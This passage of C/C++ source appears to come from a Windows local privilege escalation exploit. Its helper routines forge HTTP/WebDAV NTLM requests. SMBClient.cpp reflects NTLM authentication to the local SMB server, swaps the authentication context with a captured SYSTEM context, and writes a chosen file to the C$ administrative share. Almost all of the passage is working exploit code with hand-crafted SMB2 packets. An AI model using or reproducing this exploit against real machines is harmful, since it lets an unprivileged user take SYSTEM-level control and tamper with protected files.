(SEC_I_COMPLETE_AND_CONTINUE == ss)) 213 | { 214 | ss = CompleteAuthToken(hcText, &OutBuffDesc); 215 | if (!SEC_SUCCESS(ss)) 216 | { 217 | fprintf(stderr, "complete failed: 0x%08x\n", ss); 218 | return FALSE; 219 | } 220 | } 221 | *pcbOut = OutSecBuff.cbBuffer; 222 | *pfDone = !((SEC_I_CONTINUE_NEEDED == ss) || (SEC_I_COMPLETE_AND_CONTINUE == ss)); 223 | return TRUE; 224 | } 225 | 226 | char* base64Encode(char* text, int textLen, int* b64Len) { 227 | *b64Len = DEFAULT_BUFLEN; 228 | char* b64Text = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, *b64Len); 229 | if (!CryptBinaryToStringA((const BYTE*)text, textLen, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, b64Text, (DWORD*)b64Len)) { 230 | printf("CryptBinaryToStringA failed with error code %d", GetLastError()); 231 | HeapFree(GetProcessHeap(), 0, b64Text); 232 | b64Text = NULL; 233 | exit(-1); 234 | } 235 | return b64Text; 236 | } 237 | 238 | char* base64Decode(char* b64Text, int b64TextLen, int* bufferLen) { 239 | *bufferLen = DEFAULT_BUFLEN; 240 | char* buffer = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, *bufferLen); 241 | if (!CryptStringToBinaryA((LPCSTR)b64Text, b64TextLen, CRYPT_STRING_BASE64, (BYTE*)buffer, (DWORD*)bufferLen, NULL, NULL)) { 242 | printf("CryptStringToBinaryA failed with error code %d", GetLastError()); 243 | HeapFree(GetProcessHeap(), 0, buffer); 244 | buffer = NULL; 245 | exit(-1); 246 | } 247 | return buffer; 248 | } 249 | 250 | int findBase64NTLM(char* buffer, int buffer_len, char* outbuffer, int* outbuffer_len) { 251 | char pattern_head[] = { 'N', 'T', 'L', 'M', ' ' }; 252 | char pattern_tail[2] = { 0x0D, 0x0A }; // \r\n 253 | int index_start = 0; 254 | for (int i = 0; i < buffer_len; i++) { 255 | } 256 | for (int i = 0; i < buffer_len; i++) { 257 | if (buffer[i] == pattern_head[index_start]) { 258 | index_start = index_start + 1; 259 | if (index_start == sizeof(pattern_head)) { 260 | index_start = i + 1; 261 | break; 262 | } 263 | } 264 | } 265 | *outbuffer_len = 0; 266 | for (int i = index_start; i < buffer_len; i++) { 267 | if (buffer[i] == pattern_tail[0] && buffer[i + 1] == pattern_tail[1]) { 268 | break; 269 | } 270 | outbuffer[(*outbuffer_len)] = buffer[i]; 271 | *outbuffer_len = (*outbuffer_len) + 1; 272 | } 273 | return 0; 274 | } 275 | 276 | char* ForgeHTTPRequestType1(char* ntlmsspType1, int ntlmsspType1Len, int* httpPacketType1Len, wchar_t* httpIp, wchar_t* httpUrlPage) { 277 | char httpPacketTemplate[] = "GET %s HTTP/1.1\r\nHost: %s\r\nAuthorization: NTLM %s\r\n\r\n"; 278 | char* httpPacket = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, DEFAULT_BUFLEN); 279 | int b64ntlmLen; 280 | char httpIp_a[20]; 281 | char httpUrlPage_a[1024]; 282 | memset(httpIp_a, 0, 20); 283 | memset(httpUrlPage_a, 0, 1024); 284 | wcstombs(httpIp_a, httpIp, 20); 285 | wcstombs(httpUrlPage_a, httpUrlPage, 1024); 286 | char* b64ntlmTmp = base64Encode(ntlmsspType1, ntlmsspType1Len, &b64ntlmLen); 287 | char b64ntlm[DEFAULT_BUFLEN]; 288 | memset(b64ntlm, 0, DEFAULT_BUFLEN); 289 | memcpy(b64ntlm, b64ntlmTmp, b64ntlmLen); 290 | *httpPacketType1Len = sprintf(httpPacket, httpPacketTemplate, httpUrlPage_a, httpIp_a, b64ntlm); 291 | return httpPacket; 292 | } 293 | 294 | char* ForgeHTTPWebDavRequestType0(int *l,wchar_t* httpIp, wchar_t* httpUrlPage) { 295 | char httpPacketTemplate[] = "PROPFIND %s HTTP/1.1\r\nHost: %s\r\n\r\n"; 296 | char* httpPacket = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, DEFAULT_BUFLEN); 297 | int b64ntlmLen; 298 | char httpIp_a[20]; 299 | char httpUrlPage_a[1024]; 300 | memset(httpIp_a, 0, 20); 301 | memset(httpUrlPage_a, 0, 1024); 302 | wcstombs(httpIp_a, httpIp, 20); 303 | wcstombs(httpUrlPage_a, httpUrlPage, 1024); 304 | *l=sprintf(httpPacket, httpPacketTemplate, httpUrlPage_a, httpIp_a); 305 | return httpPacket; 306 | } 307 | 308 | char* ForgeHTTPWebDavRequestType1(char* ntlmsspType1, int ntlmsspType1Len, int* httpPacketType1Len, wchar_t* httpIp, wchar_t* httpUrlPage) { 309 | char httpPacketTemplate[] = "HEAD %s HTTP/1.1\r\nHost: %s\r\nAuthorization: NTLM %s\r\nConnection: Keep-Alive\r\n\r\n"; 310 | char* httpPacket = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, DEFAULT_BUFLEN); 311 | int b64ntlmLen; 312 | char httpIp_a[20]; 313 | char httpUrlPage_a[1024]; 314 | memset(httpIp_a, 0, 20); 315 | memset(httpUrlPage_a, 0, 1024); 316 | wcstombs(httpIp_a, httpIp, 20); 317 | wcstombs(httpUrlPage_a, httpUrlPage, 1024); 318 | char* b64ntlmTmp = base64Encode(ntlmsspType1, ntlmsspType1Len, &b64ntlmLen); 319 | char b64ntlm[DEFAULT_BUFLEN]; 320 | memset(b64ntlm, 0, DEFAULT_BUFLEN); 321 | memcpy(b64ntlm, b64ntlmTmp, b64ntlmLen); 322 | *httpPacketType1Len = sprintf(httpPacket, httpPacketTemplate, httpUrlPage_a, httpIp_a, b64ntlm); 323 | return httpPacket; 324 | } 325 | 326 | void ExtractType2FromHttp(char* httpPacket, int httpPacketLen, char* ntlmType2, int* ntlmType2Len) { 327 | char b64Type2[DEFAULT_BUFLEN]; 328 | int b64Type2Len = 0; 329 | findBase64NTLM(httpPacket, httpPacketLen, b64Type2, &b64Type2Len); 330 | printf("b64type=%s\n", b64Type2); 331 | char* decodedType2Tmp = base64Decode(b64Type2, b64Type2Len, ntlmType2Len); 332 | printf("decodes=%s\n", decodedType2Tmp); 333 | memset(ntlmType2, 0, DEFAULT_BUFLEN); 334 | memcpy(ntlmType2, decodedType2Tmp, *ntlmType2Len); 335 | printf("decodes=%s\n", ntlmType2); 336 | } 337 | 338 | char* ForgeHTTPWebDavRequestType3(char* ntlmsspType3, int ntlmsspType3Len, int* httpPacketType3Len, wchar_t* httpIp, wchar_t* httpUrlPage) { 339 | char httpPacketTemplate[] = "HEAD %s HTTP/1.1\r\nHost: %s\r\nAuthorization: NTLM %s\r\nConnection: Keep-Alive\r\n\r\n"; 340 | char* httpPacket = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, DEFAULT_BUFLEN); 341 | int b64ntlmLen; 342 | char httpIp_a[20]; 343 | char httpUrlPage_a[1024]; 344 | memset(httpIp_a, 0, 20); 345 | memset(httpUrlPage_a, 0, 1024); 346 | wcstombs(httpIp_a, httpIp, 20); 347 | wcstombs(httpUrlPage_a, httpUrlPage, 1024); 348 | char* b64ntlmTmp = base64Encode(ntlmsspType3, ntlmsspType3Len, &b64ntlmLen); 349 | char b64ntlm[DEFAULT_BUFLEN]; 350 | memset(b64ntlm, 0, DEFAULT_BUFLEN); 351 | memcpy(b64ntlm, b64ntlmTmp, b64ntlmLen); 352 | *httpPacketType3Len = sprintf(httpPacket, httpPacketTemplate, httpUrlPage_a, httpIp_a, b64ntlm); 353 | return httpPacket; 354 | } 355 | char* ForgeHTTPRequestType3(char* ntlmsspType3, int ntlmsspType3Len, int* httpPacketType3Len, wchar_t* httpIp, wchar_t* httpUrlPage) { 356 | char httpPacketTemplate[] = "GET %s HTTP/1.1\r\nHost: %s\r\nAuthorization: NTLM %s\r\nConnection: Keep-Alive\r\n\r\n"; 357 | char* httpPacket = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, DEFAULT_BUFLEN); 358 | int b64ntlmLen; 359 | char httpIp_a[20]; 360 | char httpUrlPage_a[1024]; 361 | memset(httpIp_a, 0, 20); 362 | memset(httpUrlPage_a, 0, 1024); 363 | wcstombs(httpIp_a, httpIp, 20); 364 | wcstombs(httpUrlPage_a, httpUrlPage, 1024); 365 | char* b64ntlmTmp = base64Encode(ntlmsspType3, ntlmsspType3Len, &b64ntlmLen); 366 | char b64ntlm[DEFAULT_BUFLEN]; 367 | memset(b64ntlm, 0, DEFAULT_BUFLEN); 368 | memcpy(b64ntlm, b64ntlmTmp, b64ntlmLen); 369 | *httpPacketType3Len = sprintf(httpPacket, httpPacketTemplate, httpUrlPage_a, httpIp_a, b64ntlm); 370 | return httpPacket; 371 | } 372 | 373 | char* ForgeHTTPWebDavRequestWrite(int* l, wchar_t* httpIp, wchar_t* httpUrlPage) { 374 | char httpPacketTemplate[] = "PUT %s HTTP/1.1\r\nHost: %s\r\nContent-Length: 23\r\nConnection: Keep-Alive\r\n\r\nwe always love potatoes"; 375 | char* httpPacket = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, DEFAULT_BUFLEN); 376 | int b64ntlmLen; 377 | char httpIp_a[20]; 378 | char httpUrlPage_a[1024]; 379 | memset(httpIp_a, 0, 20); 380 | memset(httpUrlPage_a, 0, 1024); 381 | wcstombs(httpIp_a, httpIp, 20); 382 | wcstombs(httpUrlPage_a, httpUrlPage, 1024); 383 | *l = sprintf(httpPacket, httpPacketTemplate, httpUrlPage_a, httpIp_a); 384 | return httpPacket; 385 | } 386 | char* ForgeHTTPWebDavRequestHead(int* l, wchar_t* httpIp, wchar_t* httpUrlPage) { 387 | char httpPacketTemplate[] = "PROPPATCH %s HTTP/1.1\r\nHost: %s\r\nContent-Length: 26\r\nConnection: Keep-Alive\r\n\r\nwe always love potatoes"; 388 | char* httpPacket = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, DEFAULT_BUFLEN); 389 | int b64ntlmLen; 390 | char httpIp_a[20]; 391 | char httpUrlPage_a[1024]; 392 | memset(httpIp_a, 0, 20); 393 | memset(httpUrlPage_a, 0, 1024); 394 | wcstombs(httpIp_a, httpIp, 20); 395 | wcstombs(httpUrlPage_a, httpUrlPage, 1024); 396 | *l = sprintf(httpPacket, httpPacketTemplate, httpUrlPage_a, httpIp_a); 397 | return httpPacket; 398 | } 399 | -------------------------------------------------------------------------------- /SMBClient.cpp: -------------------------------------------------------------------------------- 1 | #define SECURITY_WIN32 2 | #pragma comment(lib, "Secur32.lib") 3 | #pragma comment(lib, "Ws2_32.lib") 4 | #pragma warning(disable:4996) 5 | 6 | #include "windows.h" 7 | #include "stdio.h" 8 | #include "winsock.h" 9 | #include "sspi.h" 10 | #include "SMBClient.h" 11 | 12 | #define CHUNK_SIZE 10000 13 | 14 | // global vars 15 | extern wchar_t* destfname; 16 | extern wchar_t* inputfname; 17 | extern HANDLE event1; 18 | extern HANDLE event2; 19 | extern HANDLE event3; 20 | extern char SystemContext[]; 21 | extern char UserContext[]; 22 | 23 | BOOL DoAuthenticatedFileWriteSMB(SOCKET s, wchar_t*, wchar_t*, wchar_t*); 24 | SOCKET ConnectSocket(const wchar_t* ipAddress, int port); 25 | BOOL GenClientContext(BYTE* pIn, DWORD cbIn, BYTE* pOut, DWORD* pcbOut, BOOL* pfDone, WCHAR* pszTarget, CredHandle* hCred, struct _SecHandle* hcText); 26 | int findNTLMBytes(char* bytes, int len); 27 | BOOL SMBNegoProtocol(SOCKET s, char* recBuffer); 28 | BOOL SMB2NegoProtocol(SOCKET s, char* recBuffer); 29 | BOOL SMB2DoAuthentication(SOCKET s, char* recBuffer, int& MessageID); 30 | BOOL SMB2AuthNtlmType1(SOCKET s, char* recBuffer, int& MessageID, int* recBufferLen, CredHandle* hCred, struct _SecHandle* hcText); 31 | BOOL SMB2AuthNtlmType3(SOCKET s, char* recBuffer, int& MessageID, int recBufferLen, CredHandle* hCred, struct _SecHandle* hcText); 32 | BOOL SMB2TreeConnect(SOCKET s, char* recBuffer, int& MessageID, wchar_t* path); 33 | BOOL SMB2CreateFileRequest(SOCKET s, char* recBuffer, int& MessageID, wchar_t* fname); 34 | BOOL SMB2WriteRequest(SOCKET s, char* recBuffer, int& MessageID, wchar_t* infile, wchar_t* fname); 35 | BOOL SMB2CloseFileRequest(SOCKET s, char* recBuffer, int& MessageID); 36 | BOOL SMB2TreeDisconnect(SOCKET s, char* recBuffer, int& MessageID); 37 | 38 | void SMBAuthenticatedFileWrite() 39 | { 40 | SOCKET smbSocket = ConnectSocket(L"127.0.0.1", 445); 41 | DoAuthenticatedFileWriteSMB(smbSocket, (wchar_t*)L"\\\\127.0.0.1\\c$", (wchar_t*)destfname, (wchar_t*)inputfname); 42 | closesocket(smbSocket); 43 | } 44 | 45 | 46 | BOOL DoAuthenticatedFileWriteSMB(SOCKET s, wchar_t* path, wchar_t* fname, wchar_t* infile) 47 | { 48 | BOOL ret = FALSE; 49 | int MessageID = 2; 50 | char recBuffer[DEFAULT_BUFLEN]; 51 | SMBNegoProtocol(s, recBuffer); 52 | SMB2NegoProtocol(s, recBuffer); 53 | SMB2DoAuthentication(s, recBuffer, MessageID); 54 | if (!SMB2TreeConnect(s, recBuffer, MessageID, path)) 55 | return ret; 56 | SMB2CreateFileRequest(s, recBuffer, MessageID, fname); 57 | if (!SMB2WriteRequest(s, recBuffer, MessageID, infile, fname)) 58 | return ret; 59 | SMB2CloseFileRequest(s, recBuffer, MessageID); 60 | ret = SMB2TreeDisconnect(s, recBuffer, MessageID); 61 | return ret; 62 | } 63 | 64 | BOOL GenClientContext(BYTE* pIn, DWORD cbIn, BYTE* pOut, DWORD* pcbOut, BOOL* pfDone, WCHAR* pszTarget, CredHandle* hCred, struct _SecHandle* hcText) 65 | { 66 | SECURITY_STATUS ss; 67 | TimeStamp Lifetime; 68 | SecBufferDesc OutBuffDesc; 69 | SecBuffer OutSecBuff; 70 | SecBufferDesc InBuffDesc; 71 | SecBuffer InSecBuff; 72 | ULONG ContextAttributes; 73 | static PTCHAR lpPackageName = (PTCHAR)L"NTLM"; 74 | 75 | if (NULL == pIn) 76 | { 77 | ss = AcquireCredentialsHandleW(NULL, lpPackageName, SECPKG_CRED_OUTBOUND, (PVOID)0, NULL, NULL, NULL, hCred, &Lifetime); 78 | if (!(SEC_SUCCESS(ss))) { 79 | printf("[!] AcquireCredentialsHandleW failed with error code 0x%x\n", ss); 80 | return FALSE; 81 | } 82 | } 83 | OutBuffDesc.ulVersion = 0; 84 | OutBuffDesc.cBuffers = 1; 85 | OutBuffDesc.pBuffers = &OutSecBuff; 86 | OutSecBuff.cbBuffer = *pcbOut; 87 | OutSecBuff.BufferType = SECBUFFER_TOKEN; 88 | OutSecBuff.pvBuffer = pOut; 89 | if (pIn) 90 | { 91 | InBuffDesc.ulVersion = 0; 92 | InBuffDesc.cBuffers = 1; 93 | InBuffDesc.pBuffers = &InSecBuff; 94 | InSecBuff.cbBuffer = cbIn; 95 | InSecBuff.BufferType = SECBUFFER_TOKEN; 96 | InSecBuff.pvBuffer = pIn; 97 | ss = InitializeSecurityContextW(hCred, hcText, pszTarget, MessageAttribute, 0, SECURITY_NATIVE_DREP, &InBuffDesc, 0, hcText, &OutBuffDesc, &ContextAttributes, &Lifetime); 98 | } 99 | else 100 | ss = InitializeSecurityContext(hCred, NULL, (SEC_WCHAR*)pszTarget, MessageAttribute, 0, SECURITY_NATIVE_DREP, NULL, 0, hcText, &OutBuffDesc, &ContextAttributes, &Lifetime); 101 | if (!SEC_SUCCESS(ss)) 102 | { 103 | printf("[!] InitializeSecurityContext failed with error code 0x%x\n", ss); 104 | return FALSE; 105 | } 106 | if ((SEC_I_COMPLETE_NEEDED == ss) || (SEC_I_COMPLETE_AND_CONTINUE == ss)) 107 | { 108 | ss = CompleteAuthToken(hcText, &OutBuffDesc); 109 | if (!SEC_SUCCESS(ss)) 110 | { 111 | printf("[!] CompleteAuthToken failed with error code 0x%x\n", ss); 112 | return FALSE; 113 | } 114 | 115 | } 116 | *pcbOut = OutSecBuff.cbBuffer; 117 | *pfDone = !((SEC_I_CONTINUE_NEEDED == ss) || (SEC_I_COMPLETE_AND_CONTINUE == ss)); 118 | return TRUE; 119 | } 120 | 121 | SOCKET ConnectSocket(const wchar_t* ipAddress, int port) { 122 | char ipAddress_a[20]; 123 | char remotePort_a[12]; 124 | WSADATA wsaData; 125 | int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); 126 | if (iResult != NO_ERROR) { 127 | wprintf(L"WSAStartup function failed with error: %d\n", iResult); 128 | return 1; 129 | } 130 | SOCKET ConnectSocket; 131 | ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 132 | if (ConnectSocket == INVALID_SOCKET) { 133 | wprintf(L"socket function failed with error: %ld\n", WSAGetLastError()); 134 | WSACleanup(); 135 | return 1; 136 | } 137 | memset(remotePort_a, 0, 12); 138 | memset(ipAddress_a, 0, 20); 139 | wcstombs(ipAddress_a, ipAddress, 20); 140 | sockaddr_in clientService; 141 | clientService.sin_family = AF_INET; 142 | clientService.sin_addr.s_addr = inet_addr(ipAddress_a); 143 | clientService.sin_port = htons(port); 144 | iResult = connect(ConnectSocket, (SOCKADDR*)&clientService, sizeof(clientService)); 145 | if (iResult == SOCKET_ERROR) { 146 | wprintf(L"[!] ConnectSocket: connect function failed with error: %ld\n", WSAGetLastError()); 147 | iResult = closesocket(ConnectSocket); 148 | if (iResult == SOCKET_ERROR) 149 | wprintf(L"closesocket function failed with error: %ld\n", WSAGetLastError()); 150 | WSACleanup(); 151 | return 1; 152 | } 153 | Sleep(1000); 154 | printf("[*] Connected to the SMB server with ip %s and port %d\n", ipAddress_a, port); 155 | return ConnectSocket; 156 | } 157 | 158 | int findNTLMBytes(char* bytes, int len) 159 | { 160 | //Find the NTLM bytes in a packet and return the index to the start of the NTLMSSP header. 161 | char pattern[7] = { 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50 }; 162 | int pIdx = 0; 163 | int i; 164 | for (i = 0; i < len; i++) { 165 | if (bytes[i] == pattern[pIdx]) { 166 | pIdx = pIdx + 1; 167 | if (pIdx == 7) return (i - 6); 168 | } 169 | else { 170 | pIdx = 0; 171 | } 172 | } 173 | return -1; 174 | } 175 | 176 | BOOL SMBNegoProtocol(SOCKET s, char* recBuffer) { 177 | BOOL ret = TRUE; 178 | myshort slen; 179 | int len = 0, pid = 0; 180 | myshort ms; 181 | char c = 0; 182 | 183 | unsigned char smb_nego_protocol[] = \ 184 | "\x00\x00\x00\x45\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x01\x48" \ 185 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xac\x7b" \ 186 | "\x00\x00\x00\x00\x00\x22\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e" \ 187 | "\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e\x30\x30\x32\x00\x02\x53" \ 188 | "\x4d\x42\x20\x32\x2e\x3f\x3f\x3f\x00"; 189 | 190 | pid = GetCurrentProcessId(); 191 | ms.i = pid; 192 | memcpy(&smb_nego_protocol[30], ms.buffer, 2); 193 | memcpy(slen.buffer, &smb_nego_protocol[2], 2); 194 | c = smb_nego_protocol[3]; 195 | len = send(s, (char*)smb_nego_protocol, c + 4, 0); 196 | len = recv(s, recBuffer, DEFAULT_BUFLEN, 0); 197 | return ret; 198 | } 199 | 200 | BOOL SMB2NegoProtocol(SOCKET s, char* recBuffer) { 201 | BOOL ret = TRUE; 202 | int len = 0, pid = 0; 203 | char c = 0; 204 | myint mpid; 205 | 206 | unsigned char smb2_nego_protocol[] = \ 207 | "\x00\x00\x00\x68\xfe\x53\x4d\x42\x40\x00\x01\x00\x00\x00\x00\x00" \ 208 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" \ 209 | "\x00\x00\x00\x00\x30\x7e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ 210 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ 211 | "\x00\x00\x00\x00\x24\x00\x02\x00\x01\x00\x00\x00\x01\x00\x00\x00" \ 212 | "\xb3\x2a\x22\x3f\xcf\x5f\x43\x9c\xbb\x55\x8c\x98\x11\xd2\x5f\x1c" \ 213 | "\x00\x00\x00\x00\x00\x00\x00\x00\x02\x02\x10\x02\x00"; 214 | 215 | pid = GetCurrentProcessId(); 216 | mpid.i = pid; 217 | memcpy(&smb2_nego_protocol[36], mpid.buffer, 4); 218 | c = smb2_nego_protocol[3]; 219 | len = send(s, (char*)smb2_nego_protocol, c + 4, 0); 220 | len = recv(s, recBuffer, DEFAULT_BUFLEN, 0); 221 | return ret; 222 | } 223 | 224 | BOOL SMB2DoAuthentication(SOCKET s, char* recBuffer, int& MessageID) { 225 | BOOL ret = TRUE; 226 | int recBufferLen = 0; 227 | CredHandle hCred; 228 | struct _SecHandle hcText; 229 | 230 | SMB2AuthNtlmType1(s, recBuffer, MessageID, &recBufferLen, &hCred, &hcText); 231 | SMB2AuthNtlmType3(s, recBuffer, MessageID, recBufferLen, &hCred, &hcText); 232 | 233 | // here we receive the return status of the SMB authentication 234 | unsigned int* ntlmAuthStatus = (unsigned int*)(recBuffer + 12); 235 | if (*ntlmAuthStatus != 0) { 236 | printf("[!] SMB reflected DCOM authentication failed with status code 0x%x\n", *ntlmAuthStatus); 237 | ret = FALSE; 238 | } 239 | else { 240 | printf("[+] SMB reflected DCOM authentication succeeded!\n"); 241 | } 242 | 243 | return ret; 244 | } 245 | 246 | BOOL SMB2AuthNtlmType1(SOCKET s, char* recBuffer, int& MessageID, int* recBufferLen, CredHandle* hCred, struct _SecHandle* hcText) { 247 | BOOL ret = TRUE; 248 | usmb2_header s2h; 249 | usmb2_data s2d; 250 | myint mpid; 251 | BYTE pOutBuf[DEFAULT_BUFLEN]; 252 | DWORD cbOut = DEFAULT_BUFLEN; 253 | BOOL fDone = FALSE; 254 | int plen = 0; 255 | myshort slen; 256 | myshort datalen; 257 | char netsess[4]; 258 | int start = 2; 259 | char OutBuffer[1024]; 260 | char finalPacket[DEFAULT_BUFLEN]; 261 | 262 | if (!GenClientContext(NULL, 0, pOutBuf, &cbOut, &fDone, (SEC_WCHAR*)TargetNameSpn, hCred, hcText)) 263 | { 264 | return(FALSE); 265 | } 266 | 267 | memcpy(&s2h.smb2_header.ProtocolID, "\xfe\x53\x4d\x42", 4); 268 | memcpy(&s2h.smb2_header.CreditCharge, "\01\00", 2); 269 | memcpy(&s2h.smb2_header.StructureSize, "\x40\x00", 2); 270 | memcpy(&s2h.smb2_header.ChannelSequence[0], "\x00\x00", 2); 271 | memcpy(&s2h.smb2_header.Reserved[0], "\x00\x00", 2); 272 | memcpy(&s2h.smb2_header.Command[0], "\x01\x00", 2); 273 | memcpy(&s2h.smb2_header.CreditRequest[0], "\x1f\x00", 2); 274 | memcpy(&s2h.smb2_header.Flags[0], "\x00\x00\x00\x00", 4); 275 | memcpy(&s2h.smb2_header.NextCommand[0], "\x00\x00\x00\x00", 4); 276 | s2h.smb2_header.MessageID = MessageID++; 277 | mpid.i = GetCurrentProcessId(); 278 | memcpy(&s2h.smb2_header.ProcessID[0], mpid.buffer, 4); 279 | memcpy(&s2h.smb2_header.TreeID[0], "\x00\x00\x00\x00", 4); 280 | memcpy(&s2h.smb2_header.SessionID[0], "\x00\x00\x00\x00\x00\x00\x00\x00", 8); 281 | memcpy(&s2h.smb2_header.Signature[0], "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16); 282 | 283 | datalen.i = cbOut; 284 | memcpy(&s2d.smb2_data.StructureSize, "\x19\x00", 2); 285 | memcpy(&s2d.smb2_data.Flags, "\x00", 1); 286 | memcpy(&s2d.smb2_data.SecurityMode, "\x01", 1); 287 | memcpy(&s2d.smb2_data.Capabilities, "\x07\x00\x00\x00", 4); 288 | memcpy(&s2d.smb2_data.Channel, "\x00\x00\x00\x00", 4); 289 | memcpy(&s2d.smb2_data.SecurityBufferOffset, "\x58\x00", 2); 290 | memcpy(&s2d.smb2_data.SecurityBufferLength, datalen.buffer, 2); 291 | memcpy(&s2d.smb2_data.PreviousSessionID, "\x00\x00\x00\x00\x00\x00\x00\x00", 8); 292 | 293 | plen = sizeof(s2h.buffer) + sizeof(s2d.buffer) + cbOut; 294 | datalen.i = plen; 295 | slen.i = plen; 296 | 297 | memset(OutBuffer, 0, sizeof(OutBuffer)); 298 | 299 | start = 0; 300 | memcpy(&OutBuffer[start], s2h.buffer, sizeof(s2h.buffer)); 301 | memcpy(&OutBuffer[start], s2h.buffer, sizeof(s2h.buffer)); 302 | start += sizeof(s2h.buffer); 303 | memcpy(&OutBuffer[start], s2d.buffer, sizeof(s2d.buffer)); 304 | start += sizeof(s2d.buffer); 305 | memcpy(&OutBuffer[start], pOutBuf, cbOut); 306 | start = sizeof(s2h) + sizeof(s2d) + cbOut; 307 | memset(netsess, 0, 4); 308 | netsess[3] = slen.buffer[0]; 309 | netsess[2] = slen.buffer[1]; 310 | 311 | memcpy(finalPacket, netsess, 4); 312 | memcpy(finalPacket + 4, OutBuffer, start); 313 | send(s, finalPacket, 4 + start, 0); 314 | *recBufferLen = recv(s, recBuffer, DEFAULT_BUFLEN, 0); 315 | return ret; 316 | } 317 | 318 | BOOL SMB2AuthNtlmType3(SOCKET s, char* recBuffer, int& MessageID, int recBufferLen, CredHandle* hCred, struct _SecHandle* hcText) { 319 | BOOL ret = TRUE; 320 | usmb2_header s2h; 321 | usmb2_data s2d; 322 | myint mpid; 323 | BYTE pOutBuf[DEFAULT_BUFLEN]; 324 | DWORD cbOut = DEFAULT_BUFLEN; 325 | BOOL fDone = FALSE; 326 | int plen = 0; 327 | myshort slen; 328 | myshort datalen; 329 | char netsess[4]; 330 | int start = 2; 331 | char ntlmtType2[1024]; 332 | char OutBuffer[1024]; 333 | unsigned char sessid[8]; 334 | int pos = 0; 335 | char finalPacket[DEFAULT_BUFLEN]; 336 | 337 | // here we do our magic for the context swapping 338 | pos = findNTLMBytes(recBuffer, recBufferLen); 339 | memcpy(&ntlmtType2[0], &recBuffer[pos], recBufferLen - pos); 340 | if (ntlmtType2[8] == 2) 341 | { 342 | memcpy(UserContext, &ntlmtType2[32], 8); 343 | WaitForSingleObject(event1, INFINITE); 344 | // for local auth reflection we don't really need to relay the entire packet 345 | // swapping the context in the Reserved bytes with the SYSTEM context is enough 346 | memcpy(&ntlmtType2[32], SystemContext, 8); 347 | memcpy(&recBuffer[pos], &ntlmtType2[0], recBufferLen - pos); 348 | printf("[+] SMB Client Auth Context swapped with SYSTEM \n"); 349 | } 350 | else { 351 | printf("[!] Authentication over SMB is not using NTLM. Exiting...\n"); 352 | return FALSE; 353 | } 354 | if (!GenClientContext((BYTE*)ntlmtType2, recBufferLen - pos, pOutBuf, &cbOut, &fDone, (SEC_WCHAR*)TargetNameSpn, hCred, hcText)) 355 | exit(-1); 356 | SetEvent(event2); 357 | WaitForSingleObject(event3, INFINITE); 358 | 359 | memcpy(&sessid[0], &recBuffer[44], 8); 360 | memcpy(&s2h.smb2_header.ProtocolID, "\xfe\x53\x4d\x42", 4); 361 | memcpy(&s2h.smb2_header.CreditCharge, "\01\00", 2); 362 | memcpy(&s2h.smb2_header.StructureSize, "\x40\x00", 2); 363 | memcpy(&s2h.smb2_header.ChannelSequence[0], "\x00\x00", 2); 364 | memcpy(&s2h.smb2_header.Reserved[0], "\x00\x00", 2); 365 | memcpy(&s2h.smb2_header.Command[0], "\x01\x00", 2); 366 | memcpy(&s2h.smb2_header.CreditRequest[0], "\x1f\x00", 2); 367 | memcpy(&s2h.smb2_header.Flags[0], "\x10\x00\x00\x00", 4); 368 | memcpy(&s2h.smb2_header.NextCommand[0], "\x00\x00\x00\x00", 4); 369 | s2h.smb2_header.MessageID = MessageID++; 370 | mpid.i = GetCurrentProcessId(); 371 | memcpy(&s2h.smb2_header.ProcessID[0], mpid.buffer, 4); 372 | memcpy(&s2h.smb2_header.TreeID[0], "\x00\x00\x00\x00", 4); 373 | memcpy(&s2h.smb2_header.SessionID[0], sessid, 8); 374 | memcpy(&s2h.smb2_header.Signature[0], "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16); 375 | memcpy(&s2d.smb2_data.StructureSize, "\x19\00", 2); 376 | memcpy(&s2d.smb2_data.Flags, "\00", 1); 377 | memcpy(&s2d.smb2_data.SecurityMode, "\x01", 1); 378 | memcpy(&s2d.smb2_data.Capabilities, "\x07\x00\x00\x00", 4); 379 | memcpy(&s2d.smb2_data.Channel, "\x00\x00\x00\x00", 4); 380 | memcpy(&s2d.smb2_data.SecurityBufferOffset, "\x58\x00", 2); 381 | memcpy(&s2d.smb2_data.PreviousSessionID, "\x00\x00\x00\x00\x00\x00\x00\x00", 8); 382 | datalen.i = cbOut; 383 | memcpy(&s2d.smb2_data.SecurityBufferLength, datalen.buffer, 2); 384 | plen = sizeof(s2h.buffer) + sizeof(s2d.buffer) + cbOut; 385 | slen.i = plen; 386 | memcpy(&OutBuffer[0], slen.buffer, 4); 387 | start = 0; 388 | memcpy(&OutBuffer[start], s2h.buffer, sizeof(s2h.buffer)); 389 | start += sizeof(s2h.buffer); 390 | memcpy(&OutBuffer[start], s2d.buffer, sizeof(s2d.buffer)); 391 | start += sizeof(s2d.buffer); 392 | memcpy(&OutBuffer[start], pOutBuf, cbOut); 393 | start += cbOut; 394 | 395 | memset(netsess, 0, 4); 396 | netsess[3] = slen.buffer[0]; 397 | 